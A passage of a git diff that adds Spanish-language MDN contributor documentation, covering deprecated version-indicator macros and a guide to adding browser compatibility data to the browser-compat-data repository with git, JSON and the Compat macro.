+ <li>{{TemplateLink("warning")}} inserta un bloque de "advertencia" con un formato especial. {{TemplateLink("WarningStart")}} y {{TemplateLink("WarningEnd")}} definen el inicio y el final del bloque de advertencia que debe contener otras llamadas de macro. <strong>Reemplazo</strong>: Usa el estilo <code>Warning box</code> en la barra de herramientas del Editor.</li>
+</ul>
+
+<h3 id="Indicadores_de_versión">Indicadores de versión</h3>
+
+<p>Las siguientes macros están en desuso porque esta información debería estar contenida en el artículo de la tabla de compatibilidad de navegadores.</p>
+
+<ul>
+ <li>{{TemplateLink("gecko_minversion_header")}} indica la versión mínima de Gecko para una función.</li>
+ <li>{{TemplateLink("Gecko")}} inserta el texto "Gecko <em>número de versión</em>" en el texto, pero agrega una información sobre herramientas que, cuando el usuario pasa el mouse sobre él, muestra las versiones correspondientes de Firefox, Thunderbird y SeaMonkey.</li>
+ <li>{{TemplateLink("fx_minversion_header")}} y {{TemplateLink("fx_minversion_section")}} indican la versión mínima de Firefox para una función.</li>
+ <li>{{TemplateLink("tb_minversion_header")}}, {{TemplateLink("tb_minversion_section")}} y {{TemplateLink("tb_minversion_inline")}} indican la versión mínima de Thunderbird para una función.</li>
+ <li>{{TemplateLink("js_minversion_header")}} y {{TemplateLink("js_minversion_inline")}} indican la versión mínima de JavaScript para una función.</li>
+ <li>{{TemplateLink("MobileOnlyHeader")}} inserta un cuadro de encabezado "Disponible solo para Firefox móvil". {{TemplateLink("MobileOnlyInline")}} inserta un indicador en línea. Estos indican la versión de Gecko a partir de la cual la interfaz solo está disponible para dispositivos móviles.</li>
+ <li>{{TemplateLink("dom_level")}} indica la versión mínima del DOM para una función.</li>
+ <li>{{TemplateLink("renamed_inline")}} inserta una marca "renombrada" en línea para indicar que se ha cambiado el nombre de una API.</li>
+ <li>{{TemplateLink("unimplemented_inline")}} inserta una marca en línea de "no implementado" para evitar el uso de, por ejemplo, una función, método o propiedad que aún no está implementada. <strong>Reemplazo</strong>: Utiliza la tabla de compatibilidad de navegadores para indicar esta información.</li>
+ <li>{{TemplateLink("unimplemented_inline_webkit")}} inserta una marca de "no implementado" en línea para evitar el uso de, por ejemplo, una función, método o propiedad que aún no está implementada. <strong>Reemplazo</strong>: Utiliza la tabla de compatibilidad de navegadores para indicar esta información.</li>
+ <li>{{TemplateLink("gecko_callout_heading")}} incluye un cuadro de llamada específico de la versión de Gecko.</li>
+ <li>{{TemplateLink("fx_minversion_note")}} crea una nota sobre una versión mínima de Firefox; {{TemplateLink("GeckoMinVersionNoteStart")}} y {{TemplateLink("GeckoMinVersionNoteEnd")}} se pueden usar para envolver texto dentro de un cuadro etiquetado como perteneciente a una versión dada de Gecko y posteriores; especifica la versión como el único parámetro "<code>start</code>" de la macro.</li>
+ <li>{{TemplateLink("tb_minversion_note")}} crea una nota sobre una versión mínima de Thunderbird.</li>
+ <li>{{TemplateLink("js_minversion_note")}} crea una nota sobre una versión mínima de JavaScript.</li>
+ <li>
+  <p>{{TemplateLink("h1_gecko_minversion")}}, {{TemplateLink("h2_gecko_minversion")}} y {{TemplateLink("h3_gecko_minversion")}} te permiten insertar encabezados (h1, h2 y h3) que se incluyen a la derecha al final de la línea, una insignia que indica la versión de Gecko (y las versiones correspondientes de la aplicación) a la que se aplica la sección.</p>
+ </li>
+</ul>
diff --git a/files/es/mdn/structures/tablas_de_compatibilidad/index.html b/files/es/mdn/structures/tablas_de_compatibilidad/index.html
new file mode 100644
index 0000000000..cd9a5097d2
--- /dev/null
+++ b/files/es/mdn/structures/tablas_de_compatibilidad/index.html
@@ -0,0 +1,476 @@
+---
+title: >-
+  Tablas de compatibilidad y repositorio de datos de compatibilidad del
+  navegador (DCN)
+slug: MDN/Structures/Tablas_de_compatibilidad
+tags:
+  - Estructuras
+  - Guía
+  - Meta MDN
+  - compatibilidad con el navegador
+  - tablas de compatibilidad
+translation_of: MDN/Structures/Compatibility_tables
+---
+<div>{{MDNSidebar}}</div>
+
+<p class="summary"><span class="seoSummary">MDN tiene un formato estándar para tablas de compatibilidad para nuestra documentación web abierta; es decir, documentación de tecnologías como DOM, HTML, CSS, JavaScript, SVG, etc., que se comparte en todos los navegadores.</span> Este artículo es una guía de "introducción" sobre cómo agregar y mantener la base de datos a partir de la cual se generan las tablas de compatibilidad, además de cómo integrar las tablas en artículos.</p>
+
+<p class="summary">Para obtener documentación más avanzada, así como los últimos cambios en los procesos y los esquemas JSON utilizados para representar los datos, échale un vistazo al repositorio de datos de la <a href="https://github.com/mdn/browser-compat-data/blob/master/docs/contributing.md">guía para colaboradores</a>, así como a la <a href="https://github.com/mdn/browser-compat-data/blob/master/docs/data-guidelines.md">guía de directrices de datos</a>.</p>
+
+<p class="summary">Si tienes preguntas o descubres problemas, compártelos con nosotros en el <a href="https://discourse.mozilla-community.org/c/mdn">foro de discusión de MDN</a>.</p>
+
+<h2 id="Cómo_acceder_al_repositorio_de_datos">Cómo acceder al repositorio de datos</h2>
+
+<p>Los datos se almacenan en un repositorio de GitHub; consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>. Para acceder a él, necesitas tener una cuenta de GitHub, bifurcar el repositorio de compatibilidad de datos del navegador en tu propia cuenta y luego clonar tu bifurcación en tu máquina local.</p>
+
+<h2 id="Preparándose_para_agregar_los_datos">Preparándose para agregar los datos</h2>
+
+<p>Antes de agregar algunos datos nuevos, te debes asegurar de que tu bifurcación esté actualizada con el repositorio principal (contiene el mismo contenido), crea una nueva rama dentro de tu bifurcación para contener tus adiciones, luego ingresa esa rama en tu clon local para que puedas empezar a trabajar dentro de ella:</p>
+
+<p>Veamos la siguiente sencilla forma de asegurarte de que tu bifurcación esté actualizada:</p>
+
+<h3 id="Agregar_el_repositorio_principal_de_datos_de_compatibilidad_del_navegador_como_remoto">Agregar el repositorio principal de datos de compatibilidad del navegador como remoto</h3>
+
+<p>Ve al clon local de tu bifurcación en tu terminal/línea de comandos, y agrega un control remoto que apunte al repositorio principal (<code>upstream</code>) de esa manera (solo necesitas hacer esto una vez):</p>
+
+<pre class="brush: bash notranslate">git remote add upstream https://github.com/mdn/browser-compat-data.git</pre>
+
+<p>Si no estás seguro de haber hecho esto, puedes verificar qué controles remotos tiene tu repositorio usando</p>
+
+<pre class="brush: bash notranslate">git remote -v</pre>
+
+<h3 id="Actualiza_tu_bifurcación_con_el_contenido_del_remoto">Actualiza tu bifurcación con el contenido del remoto</h3>
+
+<p>Ahora, siempre que desees actualizar tu bifurcación, lo puedes hacer mediante:</p>
+
+<ol>
+ <li>
+  <p>Asegúrate de que estas en la rama <code>master</code>:</p>
+
+  <pre class="brush: bash notranslate">git checkout master</pre>
+ </li>
+ <li>
+  <p>obtén el contenido actualizado del repositorio utilizando lo siguiente:</p>
+
+  <pre class="brush: bash notranslate">git fetch upstream</pre>
+ </li>
+ <li>
+  <p>rebasa el contenido de tu <code>master</code> con el contenido del repositorio principal:</p>
+
+  <pre class="brush: bash notranslate">git rebase upstream/master</pre>
+ </li>
+ <li>
+  <p>empuja estas actualizaciones a tu bifurcación remota usando lo siguiente:</p>
+
+  <pre class="brush: bash notranslate">git push</pre>
+ </li>
+</ol>
+
+<h3 id="Crea_una_nueva_rama_para_hacer_tu_trabajo">Crea una nueva rama para hacer tu trabajo</h3>
+
+<p>A continuación, ve a tu bifurcación remota (estará en <code>https://github.com/<em>tu-nombre-de-usuario</em>/browser-compat-data</code>) y crea una nueva rama para almacenar tus cambios para esta adición de datos. Esto lo puedes hacer mediante:</p>
+
+<ol>
+ <li>Un clic en el botón "Rama: Master".</li>
+ <li>Ingresa un nuevo nombre para la rama en el campo de texto "Buscar o crear una rama...".</li>
+ <li>Presiona el botón resultante "Crear rama <em>nombre-de-rama</em> desde Master".</li>
+</ol>
+
+<p>Por ejemplo, si quisieras agregar datos para la API WebVR, crearías una rama llamada algo así como "webvr".</p>
+
+<h3 id="Cambia_a_la_nueva_rama">Cambia a la nueva rama</h3>
+
+<p>En este punto, regresa a tu terminal/línea de comando y actualiza el clon local de tu bifurcación para incluir tu nueva rama usando el siguiente comando:</p>
+
+<pre class="brush: bash notranslate">git pull</pre>
+
+<p>Ahora cambia a tu nueva rama usando esto:</p>
+
+<pre class="brush: bash notranslate">git checkout <em>nombre-de-rama</em></pre>
+
+<p>¡Ahora debería estar listo para comenzar a agregar tus datos!</p>
+
+<h2 id="Añadir_los_datos">Añadir los datos</h2>
+
+<p>Para agregar los datos, debes crear un nuevo archivo o archivos para almacenar tus datos de compatibilidad. Los archivos que necesitas crear difieren, según la tecnología en la que estés trabajando:</p>
+
+<ul>
+ <li><strong><a href="/es/docs/Web/HTML">HTML</a>:</strong> Un archivo por elemento HTML, contenido en <a href="https://github.com/mdn/browser-compat-data/tree/master/html/elements">browser-compat-data/html/elements</a>. El archivo se debe denominar con el nombre del elemento, todo en minúsculas, p. ej. <code>div.json</code>.</li>
+ <li><strong><a href="/es/docs/Web/CSS">CSS</a>:</strong>Un archivo por propiedad CSS o selector, contenido en el directorio apropiado (consulta <a href="https://github.com/mdn/browser-compat-data/tree/master/css">browser-compat-data/css</a>). El archivo debe tener el nombre de la función, todo en minúsculas, p. ej. <code>background-color.json</code> o <code>hover.json</code>.</li>
+ <li><strong><a href="/es/docs/Web/JavaScript">JS</a>:</strong> Un archivo por objeto JS, contenido en <a href="https://github.com/mdn/browser-compat-data/tree/master/javascript/builtins">browser-compat-data/javascript/builtins</a>. El archivo se debe denominar con el nombre exacto del objeto, conservando la envoltura, p. ej. <code>Date.json</code> o <code>InternalError.json</code>.</li>
+ <li><strong><a href="/es/docs/Web/API">APIs</a>:</strong> Un archivo por interfaz contenida en la API, ponlo en <a href="https://github.com/mdn/browser-compat-data/tree/master/api">browser-compat-data/api</a>. Cada archivo se debe denominar con el nombre exacto de la interfaz, conservando la envoltura, p. ej. La API de WebVR tiene <code>VRDisplay.json</code>, <code>VRDisplayCapabilities.json</code>, etc.</li>
+</ul>
+
+<p>Cada archivo que crees debe seguir el patrón definido en el esquema contenido en nuestro repositorio; puedes ver la <a href="https://github.com/mdn/browser-compat-data/blob/master/schemas/compat-data-schema.md">descripción detallada del esquema aquí</a>.</p>
+
+<h3 id="Estructura_básica_de_datos_de_compatibilidad">Estructura básica de datos de compatibilidad</h3>
+
+<p>Veamos un ejemplo. Los archivos JSON de propiedades CSS, por ejemplo, necesitan la siguiente estructura básica:</p>
+
+<pre class="brush: json notranslate">{
+  "css": {
+    "properties": {
+      "border-width": {
+        "__compat": {
+          ...
+        }
+      }
+    }
+  }
+}</pre>
+
+<p>Tienes el objeto <code>css</code>, dentro del cual hay un objeto <code>properties</code>. Dentro del objeto <code>properties</code>, necesitas un miembro para cada una de las características específicas para las que deseas definir los datos de compatibilidad. Cada uno de estos miembros tiene un miembro <code>__compat</code>, dentro del cual van los datos reales.</p>
+
+<p>Los datos anteriores se encuentran en el archivo: <a href="https://github.com/mdn/browser-compat-data/blob/master/css/properties/border-width.json">border-width.json</a> compáralo con la <a href="/es/docs/Web/CSS/border-width#Browser_compatibility">tabla de soporte de <code>border-width</code> representada en MDN</a>.</p>
+
+<p>Otros tipos de características funcionan de la misma manera, pero con diferentes nombres de objeto:</p>
+
+<ul>
+ <li>Los selectores de CSS funcionan básicamente de la misma manera que las propiedades de CSS, excepto que la estructura del objeto de nivel superior es <code>css.selectors</code> en lugar de <code>css.properties</code>. Consulta <a href="https://github.com/mdn/browser-compat-data/blob/master/css/selectors/cue.json">cue.json</a> para ver un ejemplo.</li>
+ <li>Los datos HTML funcionan básicamente de la misma manera, excepto que la estructura del objeto de nivel superior es <code>html.elements</code>. Consulta <a href="https://github.com/mdn/browser-compat-data/blob/master/html/elements/article.json">article.json</a> para ver un ejemplo.</li>
+ <li>La estructura del objeto de nivel superior para los objetos incorporados de JS es <code>javascript.builtins</code>; consulta <a href="https://github.com/mdn/browser-compat-data/blob/master/javascript/builtins/Array.json">Array.json</a> para ver un ejemplo.</li>
+</ul>
+
+<div>
+<p>En páginas HTML, CSS y JS, normalmente solo necesitarás una función. Las interfaces de API funcionan de forma ligeramente diferente — siempre tienen varias subcaracterísticas (consulta {{anch("Sub-features", "Subcaracterísticas")}}, a continuación).</p>
+
+<h3 id="Estructura_básica_dentro_de_una_característica">Estructura básica dentro de una característica</h3>
+
+<p>Dentro de un miembro de función <code>__compat</code>, debes incluir los siguientes miembros:</p>
+
+<ul>
+ <li><code>mdn_url</code>: contiene la URL de la página de referencia para esta característica en MDN. Ten en cuenta que esto se debe escribir sin el directorio de configuración regional dentro, p. ej. <code>/docs/...</code> no <code>/en-US/docs/...</code>. Esto lo agrega la macro cuando los datos se colocan en la página, con fines de localización.</li>
+ <li><code>support</code>: contiene miembros que representan la información de soporte del navegador para esta característica en todos los diferentes navegadores que queremos informar.</li>
+ <li><code>status</code>: contiene miembros que informan sobre el estado de seguimiento de estándares de esta característica.</li>
+</ul>
+
+<p>Los nombres de los miembros del navegador se definen en el esquema (consulta <a href="https://github.com/mdn/browser-compat-data/blob/master/schemas/compat-data-schema.md#browser-identifiers">identificadores del navegador</a>). Debes utilizar la lista completa de identificadores definidos actualmente. Si deseas agregar otro navegador, habla con nosotros primero, ya que esto podría tener un impacto de gran alcance y no se debe hacer sin pensarlo detenidamente.</p>
+
+<p>En un archivo de datos de compatibilidad del navegador básico, solo necesitarás incluir "<code>version_added</code>" dentro de los miembros del identificador del navegador (cubriremos {{anch("Advanced cases", "Casos avanzados")}} más adelante). Los diferentes valores que posiblemente quieras incluir son los siguientes:</p>
+
+<ul>
+ <li>Un número de versión: Si conoces la versión exacta en la que un navegador comenzó a admitir tu característica, usa una cadena que represente el número, p. ej. <code>"47"</code>.</li>
+ <li><code>true</code>: Si un navegador admite una característica, pero no conoces el número de versión exacto, utiliza el valor <code>true</code>.</li>
+ <li><code>false</code>: Si un navegador no admite una característica, utiliza el valor <code>false</code>.</li>
+ <li><code>null</code>: Si no sabes si un navegador admite una característica o no, utiliza el valor <code>null</code>.</li>
+</ul>
+
+<p>Dentro del miembro <code>status</code>, incluirás tres submiembros:</p>
+
+<ul>
+ <li><code>experimental</code>: Se debe establecer en <code>true</code> si la característica es <a href="/es/docs/MDN/Contribute/Guidelines/Conventions_definitions#Experimental">experimental</a> o <code>false</code> en caso contrario.</li>
+ <li><code>standard_track</code>: Esto se debe establecer en <code>true</code> si una característica está en algún tipo de pista de estándares (comúnmente W3C/WHATWG, pero también hay otros esfuerzos de estándares como Khronos, TC39, etc.) o <code>false</code> de lo contrario.</li>
+ <li><code>deprecated</code>: Se debe establecer en <code>true</code> si la característica está <a href="/es/docs/MDN/Contribute/Guidelines/Conventions_definitions#Deprecated_and_obsolete">desaprobada</a> o <code>false</code> en caso contrario.</li>
+</ul>
+
+<p>Los datos de características de <a href="/es/docs/Web/CSS/border-width#Browser_compatibility"><code>border-width</code></a> (consulta también <a href="https://github.com/mdn/browser-compat-data/blob/master/css/properties/border-width.json">border-width.json</a>) se muestra a continuación como ejemplo:</p>
+
+<pre class="brush: json notranslate">"__compat": {
+  "mdn_url": "https://developer.mozilla.org/docs/Web/CSS/border-width",
+  "support": {
+    "chrome": {
+      "version_added": "1"
+    },
+    "webview_android": {
+      "version_added": "2"
+    },
+    "edge": {
+      "version_added": true
+    },
+    "edge_mobile": {
+      "version_added": true
+    },
+    "firefox": {
+      "version_added": "1"
+    },
+    "firefox_android": {
+      "version_added": "1"
+    },
+    "ie": {
+      "version_added": "4"
+    },
+    "ie_mobile": {
+      "version_added": "6"
+    },
+    "opera": {
+      "version_added": "3.5"
+    },
+    "opera_android": {
+      "version_added": "11"
+    },
+    "safari": {
+      "version_added": "1"
+    },
+    "safari_ios": {
+      "version_added": "3"
+    }
+  },
+  "status": {
+    "experimental": false,
+    "standard_track": true,
+    "deprecated": false
+  }
+}</pre>
+
+<h4 id="Agrega_una_descripción">Agrega una descripción</h4>
+
+<p>Hay un cuarto miembro, opcional, que puede ir dentro del miembro <code>__compat</code> — <code>description</code>. Este se puede utilizar para incluir una descripción legible por humanos de la característica. Únicamente lo debes incluir si es difícil ver cuál es la característica al mirar los datos. Por ejemplo, puede que no sea tan obvio lo que es un constructor al mirar la estructura de datos, por lo que puedes incluir una descripción como esta:</p>
+
+<pre class="brush: json notranslate">{
+  "api": {
+    "AbortController": {
+      "__compat": {
+        ...
+      },
+      "AbortController": {
+        "__compat": {
+          "mdn_url": "https://developer.mozilla.org/docs/Web/API/AbortController/AbortController",
+          "description": "&lt;code&gt;AbortController()&lt;/code&gt; constructor",
+          "support": {
+            ...
+          }
+        }
+      }
+
+      ... etc.
+    }
+  }
+}</pre>
+
+<h3 id="Subcaracterísticas">Subcaracterísticas</h3>
+
+<p>En una página donde la tabla de compatibilidad tiene más de una fila, necesitarás varias subcaracterísticas dentro de cada característica para definir la información de cada fila. Esto puede suceder, por ejemplo, cuando tienes el soporte básico para una característica almacenada en una fila, pero luego la característica también tiene una nueva propiedad o tipo de valor que se agregó mucho más tarde en la vida de la especificación y solo se admite en una par de navegadores.</p>
+
+<p>Como ejemplo, consulta los <a href="https://github.com/mdn/browser-compat-data/blob/master/css/properties/background-color.json">datos de compatibilidad</a> y la <a href="/es/docs/Web/CSS/background-color">página MDN correspondiente</a> para la propiedad <code>background-color</code>. El soporte básico existe dentro del objeto <code>__compat</code> como se explicó anteriormente, luego tienes una fila adicional para el soporte de los navegadores para "canal alfa para valores hexadecimales", que contiene tu propio objeto <code>__compat</code>.</p>
+
+<pre class="brush: json notranslate">{
+  "css": {
+    "properties": {
+      "background-color": {
+        "__compat": {
+          ...
+        },
+        "alpha_ch_for_hex": {
+          "__compat": {
+            ...
+          },
+        }
+      }
+    }
+  }
+}</pre>
+
+<p>Para una API, tienes los dos niveles superiores definidos como <code>api.<em>nombre-de-la-interfaz</em></code>, luego un <code>__compat</code> de nivel superior para definir la compatibilidad general del navegador de la interfaz, luego una subfunción para cada uno de los métodos, propiedades y constructores contenidos dentro de la interfaz. La estructura básica se ve así:</p>
+
+<pre class="brush: json notranslate">{
+  "api": {
+    "VRDisplay": {
+      "__compat": {
+        ...
+      },
+      "cancelAnimationFrame": {
+        "__compat": {
+          ...
+        }
+      },
+      "capabilities": {
+        "__compat": {
+          ...
+        }
+      },
+
+      ... etc.
+
+    }
+  }
+}</pre>
+
+<p>Consulta <a href="https://github.com/mdn/browser-compat-data/blob/master/api/VRDisplay.json">VRDisplay.json</a> para ver un ejemplo completo.</p>
+</div>
+
+<h2 id="Agregar_datos_casos_avanzados">Agregar datos: casos avanzados</h2>
+
+<p>Hay algunas características avanzadas que querrás incluir en los datos de compatibilidad del navegador. El objetivo de esta sección es enumerar los más comunes, proporcionando un ejemplo de cada uno para mostrar cómo los puedes implementar en tus propios datos de compatibilidad.</p>
+
+<h3 id="Incluyendo_una_nota_a_pie_de_página">Incluyendo una nota a pie de página</h3>
+
+<p>A menudo, las tablas de compatibilidad incluirán notas a pie de página relacionadas con ciertas entradas que explican detalles útiles o comportamientos extraños que los desarrolladores encontrarán útiles. Como ejemplo, la entrada de Chrome para Android para {{domxref("VRDisplay.capabilities")}} (consulta también <a href="https://github.com/mdn/browser-compat-data/blob/master/api/VRDisplay.json">VRDisplay.json</a>) (en el momento de escribir este artículo) tenía una nota al pie de página "Actualmente solo es compatible con Google Daydream". Para incluir esto en los datos de capacidades, agregamos un submiembro "<code>notes</code>" dentro del submiembro "chrome_android" relevante; se vería así:</p>
+
+<pre class="brush: json notranslate">"chrome_android": {
+  "version_added": true,
+  "notes": "Currently supported only by Google Daydream."
+}</pre>
+
+<h3 id="Incluyendo_un_prefijo_de_proveedor">Incluyendo un prefijo de proveedor</h3>
+
+<p>Si una característica es compatible con un prefijo de proveedor en uno o más navegadores, querrás dejarlo en claro en los datos de compatibilidad del navegador. imagina que tienes una característica que es compatible con un prefijo <code>-moz-</code> en Firefox. Para especificar esto en los datos de compatibilidad, debes agregar un submiembro "<code>prefix</code>" dentro del submiembro "firefox" relevante. Y se vería así:</p>
+
+<pre class="brush: json notranslate">"firefox": {
+  "version_added": true,
+  "prefix": "-moz-"
+}</pre>
+
+<h3 id="Incluyendo_preferencias_o_banderas_del_navegador">Incluyendo preferencias o banderas del navegador</h3>
+
+<p>Algunas características pueden ser compatibles con un navegador, pero son experimentales y están desactivadas de forma predeterminada. Si un usuario quiere jugar con esta característica, debe activarla usando una preferencia/bandera.</p>
+
+<p>Para representar esto en los datos de compatibilidad, debes agregar el submiembro "<code>flags</code>" dentro del submiembro del identificador del navegador relevante. El valor de "<code>flags</code>" es un arreglo de objetos, cada uno de los cuales contiene tres miembros:</p>
+
+<ul>
+ <li><code>type</code>: Qué tipo de bandera o preferencia es. El valor más común es "<code>preference</code>", que se establece dentro del navegador (por ejemplo, usando <code>about: config</code> en Firefox, o <code>chrome://flags</code> en Chrome), pero a veces también puedes usar un valor de "<code>compile_flag</code>", que es un conjunto de preferencias cuando se construye la compilación del navegador.</li>
+ <li><code>name</code>: Esta es una cadena que representa el nombre de la preferencia que necesita tener un valor establecido. Por ejemplo, "Habilitar funciones experimentales de la plataforma web" es una preferencia que existe en Chrome, que se encuentra en <code>chrome://flags</code>.</li>
+ <li><code>value_to_set</code>: Esta es una cadena que representa el valor que se debe establecer en la preferencia, por ejemplo, "<code>true</code>".</li>
+</ul>
+
+<p>Entonces, para agregar una preferencia/bandera al soporte de Chrome para una característica, harías algo como esto:</p>
+
+<pre class="brush: json notranslate">"chrome": {
+  "version_added": "50",
+  "flags": [
+    {
+      "type": "preference",
+      "name": "Enable Experimental Web Platform Features",
+      "value_to_set": "true"
+    }
+  ]
+},</pre>
+
+<p>Si una característica está detrás de dos o más banderas, puedes agregar objetos adicionales al arreglo "<code>flags</code>", como en este caso, por ejemplo:</p>
+
+<pre class="brush: json notranslate">"firefox": {
+  "version_added": "57",
+  "flags": [
+    {
+      "type": "preference",
+      "name": "dom.streams.enabled",
+      "value_to_set": "true"
+    },
+    {
+      "type": "preference",
+      "name": "javascript.options.streams",
+      "value_to_set": "true"
+    }
+  ]
+},</pre>
+
+<h3 id="Incluyendo_una_versión_donde_se_eliminó_el_soporte">Incluyendo una versión donde se eliminó el soporte</h3>
+
+<p>A veces, una característica se agregará en una determinada versión del navegador, pero luego se eliminará nuevamente cuando la característica esté obsoleta. Esto se puede representar fácilmente usando el submiembro "<code>version_removed</code>", que toma como valor una cadena que representa el número de versión en el que se eliminó. Por ejemplo:</p>
+
+<pre class="brush: json notranslate">"firefox": {
+  "version_added": "35",
+  "version_removed": "47",
+},</pre>
+
+<h3 id="Incluyendo_múltiples_puntos_de_soporte_para_la_misma_entrada_del_navegador">Incluyendo múltiples puntos de soporte para la misma entrada del navegador</h3>
+
+<p>A veces, querrás agregar varios puntos de datos de soporte para el mismo navegador dentro de la misma característica.</p>
+
+<p>Como ejemplo, la propiedad {{cssxref("text-align-last")}} (ve también <a href="https://github.com/mdn/browser-compat-data/blob/master/css/properties/text-align-last.json">text-align-last.json</a>) se agregó a Chrome en la versión 35, compatible con una pref.</p>
+
+<p>El soporte mencionado anteriormente se eliminó en la versión 47; también en la versión 47, se agregó soporte para <code>text-align-last</code> habilitado de manera predeterminada.</p>
+
+<p>Para incluir estos dos puntos de datos, puedes hacer que el valor del submiembro "<code>chrome</code>" sea un arreglo que contenga dos objetos de información de soporte, en lugar de un solo objeto de información de soporte:</p>
+
+<pre class="brush: json notranslate">"chrome": [
+  {
+    "version_added": "47"
+  },
+  {
+    "version_added": "35",
+    "version_removed": "47",
+    "flags": [
+      {
+        "type": "preference",
+        "name": "Enable Experimental Web Platform Features",
+        "value_to_set": "true"
+      }
+    ]
+  }
+],</pre>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong> Debes colocar el punto de soporte más actual o importante primero en el arreglo — esto hace que los datos sean más fáciles de leer para las personas que solo desean escanearlos para obtener la información más reciente.</p>
+</div>
+
+<h3 id="Incluyendo_un_nombre_alternativo">Incluyendo un nombre alternativo</h3>
+
+<p>Ocasionalmente, los navegadores admitirán una característica con un nombre diferente al definido en su especificación. Esto se podría deber, por ejemplo, a que un navegador agregó soporte experimental para una característica antes, y luego el nombre cambió antes de que se estabilizara la especificación.</p>
+
+<p>Para incluir un caso de este tipo en los datos de compatibilidad del navegador, puedes incluir un punto de información de soporte que especifique el nombre alternativo dentro de un miembro "<code>alternative_name</code>".</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong> Es posible que el nombre alternativo no sea un alias exacto — posiblemente tenga un comportamiento diferente al de la versión estándar.</p>
+</div>
+
+<p>Veamos un ejemplo. La propiedad {{cssxref("border-top-right-radius")}} (consulta también <a href="https://github.com/mdn/browser-compat-data/blob/2a0cc3f6bb17aa4345441bed47a059dffd847793/css/properties/border-top-right-radius.json">border-top-right-radius.json</a>) era compatible con Firefox:</p>
+
+<ul>
+ <li>Desde la versión 4 en adelante con el nombre estándar <code>border-top-right-radius</code>.</li>
+ <li>A partir de la versión 49 con un prefijo <code>-webkit-</code>, por motivos de compatibilidad con el navegador.</li>
+ <li>Desde la versión 1 en adelante con el nombre alternativo <code>-moz-border-radius-topright</code>. La compatibilidad con este alias se eliminó en la versión 12.</li>
+</ul>
+
+<p>Para representar esto en los datos, usamos el siguiente JSON:</p>
+
+<pre class="brush: json notranslate">"firefox": [
+  {
+    "version_added": "4",
+    "notes": "Antes de Firefox 50.0, los estilos de borde de las esquinas redondeadas siempre se representaban como si <code>border-style</code> fuera sólido. Esto se ha solucionado en Firefox 50.0."
+  },
+  {
+    "prefix": "-webkit-",
+    "version_added": "49",
+    "notes": "De Firefox 44 a 48, el prefijo <code>-webkit-</code> estaba disponible con la preferencia <code>layout.css.prefixes.webkit</code>. A partir de Firefox 49, la preferencia predeterminada es &lt;code&gt;true&lt;/code&gt;."
+  },
+  {
+    "alternative_name": "-moz-border-radius-topright",
+    "version_added": "1",
+    "version_removed": "12"
+  }
+],</pre>
+
+<h2 id="Empujar_un_cambio_de_nuevo_al_repositorio_principal">Empujar un cambio de nuevo al repositorio principal</h2>
+
+<p>Una vez que hayas terminado de agregar tus datos de compatibilidad, primero debes probarlos usando los siguientes comandos:</p>
+
+<ul>
+ <li><code>npm run lint</code> — prueba todos los datos de compatibilidad para asegurarse de que el JSON sea válido y esté escrito en el estilo correcto, por ejemplo, sangría correcta, sin comas, etc. Imprimirá una larga lista de nombres de archivos y resultados de pruebas; si se encuentra un error, el linter arrojará un error en el archivo en el que se encuentra, brindándote útil información de depuración como número de línea, mensaje de error, etc.</li>
+ <li><code>npm run show-errors</code> — valida el JSON con el esquema de datos y resalta errores como el uso de números de versión de navegador no válidos.</li>
+</ul>
+
+<p>Si se ve bien, debes confirmarlo y volver a colocarlo en tu bifurcación remota en GitHub. Lo puedes hacer fácilmente en tu terminal con comandos como estos:</p>
+
+<pre class="brush: bash notranslate">git add .
+git commit -m 'adding compat data for <em>nombre-de-la-característica</em>'
+git push</pre>
+
+<p>Ahora ve a tu bifurcación remota (es decir, <code>https://github.com/<em>tu-nombre-de-usuario</em>/browser-compat-data</code>) y deberías ver información sobre tu inserción en la parte superior de la lista de archivos (debajo de "Tus ramas enviadas recientemente"). Puedes crear una solicitud de extracción (iniciando el proceso de enviarla al repositorio principal) presionando el botón "Comparar y solicitud de extracción" y luego siguiendo las sencillas instrucciones en la siguiente pantalla.</p>
+
+<p>En este punto, solo tienes que esperar. Un revisor examinará tu solicitud de extracción y la fusionará con el repositorio principal, O solicitará que realices cambios. Si se necesitan cambios, realiza los cambios y envíalos nuevamente hasta que se acepte la SE.</p>
+
+<h2 id="Insertar_los_datos_en_páginas_MDN">Insertar los datos en páginas MDN</h2>
+
+<p>Una vez que tus nuevos datos se hayan incluido en el repositorio principal, puedes comenzar a generar dinámicamente tablas de compatibilidad del navegador basadas en esos datos en las páginas MDN usando la macro {{TemplateLink("Compat")}}. Esta toma un solo parámetro, la notación de puntos requerida para recorrer los datos JSON y encontrar el objeto que representa la característica para la que deseas generar la tabla de compatibilidad.</p>
+
+<p>Por encima de la llamada a la macro, para ayudar a otros colaboradores a encontrar su camino, debes agregar un texto oculto que solo sea visible a los colaboradores de MDN en el modo de edición:</p>
+
+<pre class="brush: html notranslate">&lt;div class="hidden"&gt;
+La tabla de compatibilidad de esta página se genera a partir de datos estructurados.
+Si deseas contribuir con los datos, consulta
+&lt;a href="https://github.com/mdn/browser-compat-data"&gt;https://github.com/mdn/browser-compat-data&lt;/a&gt;
+y envíanos una solicitud de extracción.
+&lt;/div&gt;</pre>
+
+<p>Por ejemplo, en la página de encabezado HTTP {{HTTPHeader("Accept-Charset")}}, la llamada a la macro se ve así: <code>\{{Compat("http.headers.Accept-Charset")}}</code>. Si observas el <a href="https://github.com/mdn/browser-compat-data/blob/master/http/headers/accept-charset.json">accept-charset.json</a> en el repositorio, verás cómo esto se refleja en los datos JSON.</p>
+
+<p>Otro ejemplo, la tabla de compatibilidad para la propiedad {{domxref("VRDisplay.capabilities")}} se genera usando <code>\{{Compat("api.VRDisplay.capabilities")}}</code>. La llamada a la macro genera la siguiente tabla (y el correspondiente conjunto de notas):</p>
+
+<hr>
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("api.VRDisplay.capabilities")}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong> Los nombres de archivo a menudo coinciden con las etiquetas dadas a las interfaces dentro de las estructuras JSON, pero no siempre es así. Cuando las llamadas a macro generan las tablas, recorren todos los archivos hasta encontrar el JSON relevante para usar, por lo que los nombres de archivo no son críticos. Dicho esto, siempre debes nombrarlos de la manera más intuitiva posible.</p>
+</div>
